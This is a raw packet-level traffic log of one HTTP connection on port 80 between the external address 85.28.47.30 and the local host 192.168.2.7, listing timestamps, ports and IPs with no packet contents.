Jul 5, 2024 06:23:09.190531015 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190536022 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.190536022 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.190548897 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190561056 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.190566063 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190582991 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190593958 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190594912 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.190594912 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.190606117 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190612078 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.190615892 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190633059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190642118 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.190644026 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190655947 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190665960 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190675020 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.190675020 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.190685987 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190700054 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.190706968 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190717936 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190723896 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190732956 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190742016 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.190747976 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190757036 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.190762043 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190773964 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190783024 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.190785885 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190798998 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190805912 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.190810919 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190834999 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.190836906 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190849066 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.190850973 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190864086 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190876961 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190880060 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.190886974 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190896034 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.190900087 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190923929 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.190937042 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.190937996 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190983057 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.190996885 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191004038 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191024065 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191031933 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191035986 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191054106 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191062927 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191062927 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191076040 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191087961 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191091061 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191091061 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191098928 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191111088 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191112995 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191119909 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191128969 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191140890 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191154003 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191157103 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191157103 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191164970 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191184998 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191186905 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191186905 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191195965 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191207886 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191219091 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191221952 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191231012 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191241026 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191251040 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191253901 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191282034 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191282034 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191282034 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191294909 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191306114 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191317081 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191332102 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191343069 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191343069 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191375017 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191503048 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191514969 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191534042 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191544056 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191555023 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191565037 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191565990 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191565037 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191579103 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191590071 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191593885 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191600084 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191612005 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191621065 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191621065 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191625118 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191632986 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191637993 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191653013 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191669941 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191670895 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191685915 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191694975 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191706896 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191715956 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191715956 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191720009 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191732883 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191745043 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191756010 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191767931 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191767931 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191768885 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191797018 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191797018 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191808939 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191821098 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191829920 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191840887 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191854000 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191862106 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191862106 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191869974 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191883087 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191886902 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191895962 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191909075 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191920042 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191920042 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191956997 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191967964 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191977978 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191989899 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.191989899 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.191989899 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.192003012 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.192013979 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.192023993 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.192024946 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.192038059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.192049980 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.192059994 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.192059994 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.192059994 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.192073107 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.192085981 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.192095995 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.192111969 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.192111969 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.192137003 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.192178011 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.284148932 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284207106 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.284221888 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284233093 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284245014 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284262896 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.284266949 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284281015 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284284115 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.284293890 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284296036 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.284307957 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284318924 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284331083 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284332037 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.284343004 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284356117 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284363985 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.284363985 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.284375906 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284388065 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284389019 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.284399033 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284413099 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284424067 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284435987 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284441948 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.284441948 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.284486055 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.284486055 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.284529924 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284545898 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284558058 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284568071 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284576893 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.284580946 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284590006 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.284591913 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284605026 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284611940 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.284616947 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284627914 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284646988 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.284646988 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.284656048 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284677029 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284683943 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.284687042 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284701109 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.284702063 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284713984 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284727097 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284734011 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.284734011 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.284739971 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284759045 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284768105 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.284769058 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284782887 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284794092 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284805059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284813881 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.284813881 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.284818888 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284832001 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284842968 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.284848928 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.284887075 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.284888029 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.292368889 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.292393923 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.292403936 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.292414904 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.292426109 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.292435884 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.292448044 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.292454004 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.292464972 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.292471886 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.292474985 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.292479038 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.292494059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.292511940 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.292511940 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.292541981 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.298048019 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298166037 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.298291922 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298307896 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298319101 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298329115 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298350096 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298353910 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.298361063 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298371077 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298373938 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.298384905 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298397064 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298398018 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.298408985 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298423052 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298433065 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.298433065 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.298437119 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298449039 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298458099 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298470020 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298491001 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.298491001 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.298492908 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298502922 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.298511028 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298523903 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298535109 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298542023 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.298542023 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.298547983 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298561096 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298573971 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298574924 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.298583984 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298595905 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298605919 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298616886 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.298616886 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.298639059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298650980 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298660994 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298671961 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298672915 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.298672915 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.298683882 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298696995 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298707008 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298716068 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.298718929 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298729897 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.298734903 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298742056 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.298748016 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298758030 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298772097 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.298779964 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298791885 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298804045 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298815012 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298825979 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298835993 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298855066 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298858881 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.298858881 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.298858881 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.298858881 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.298866987 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298875093 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.298880100 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298891068 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298891068 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.298914909 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298917055 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.298927069 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298939943 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298949957 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.298950911 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298968077 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298978090 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.298979044 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.298989058 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.299000025 CEST	80	49699	85.28.47.30	192.168.2.7
